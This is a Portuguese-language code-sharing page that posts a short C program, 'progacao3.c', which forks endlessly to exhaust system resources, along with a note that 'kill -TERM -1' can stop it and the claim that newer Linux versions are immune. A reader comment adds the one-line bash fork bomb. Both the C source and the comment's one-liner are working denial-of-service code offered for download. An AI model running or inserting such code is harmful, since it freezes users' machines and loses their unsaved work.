Pular para o conteúdo

Também enche a memória, porém desta vez com processos

O exemplo 3 também enche a memória, porém desta vez com processos.
Esse ataque é difícil de parar, pois não é possível matar os processos individualmente pois eles são criados mais rápidos do que o usuário é capaz de matar, ou seja o ps + kill não funcionaria.

Há uma opção, usar 'kill -TERM -1'. Esse comando matará qualquer processo que não seja criado pelo root. Com isso, qualquer dado que não tenha sido gravado será perdido.

Versões mais recentes do Linux estão imunes a esse caso.
Geraldo José Ferreira Chagas Júnior gjr_rj
Hits: 5.105 Categoria: C/C++ Subcategoria: Miscelânea
  • Download
  • Nova versão
  • Indicar
  • Denunciar

Descrição

O exemplo 3 também enche a memória, porém desta vez com processos.
Esse ataque é difícil de parar, pois não é possível matar os processos individualmente pois eles são criados mais rápidos do que o usuário é capaz de matar, ou seja o ps + kill não funcionaria.

Há uma opção, usar 'kill -TERM -1'. Esse comando matará qualquer processo que não seja criado pelo root. Com isso, qualquer dado que não tenha sido gravado será perdido.

Versões mais recentes do Linux estão imunes a esse caso.
Download progacao3.c Enviar nova versão

Esconder código-fonte

/* progacao3.c */
acao ()
{
   while (1)
      fork();
}

main () /* o main já foi esplicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();

}

util.h

inputAst

ArkaPoing (arkanoid+pingpoing hehe)

JokenPo em C

[C] Decompositor de números em fatores primos

#1 Comentário enviado por Nighto em 16/07/2008 - 14:52h
isso me lembra aquele "smile da morte":

:(){:|:};:

[]

Contribuir com comentário

Entre na sua conta para comentar.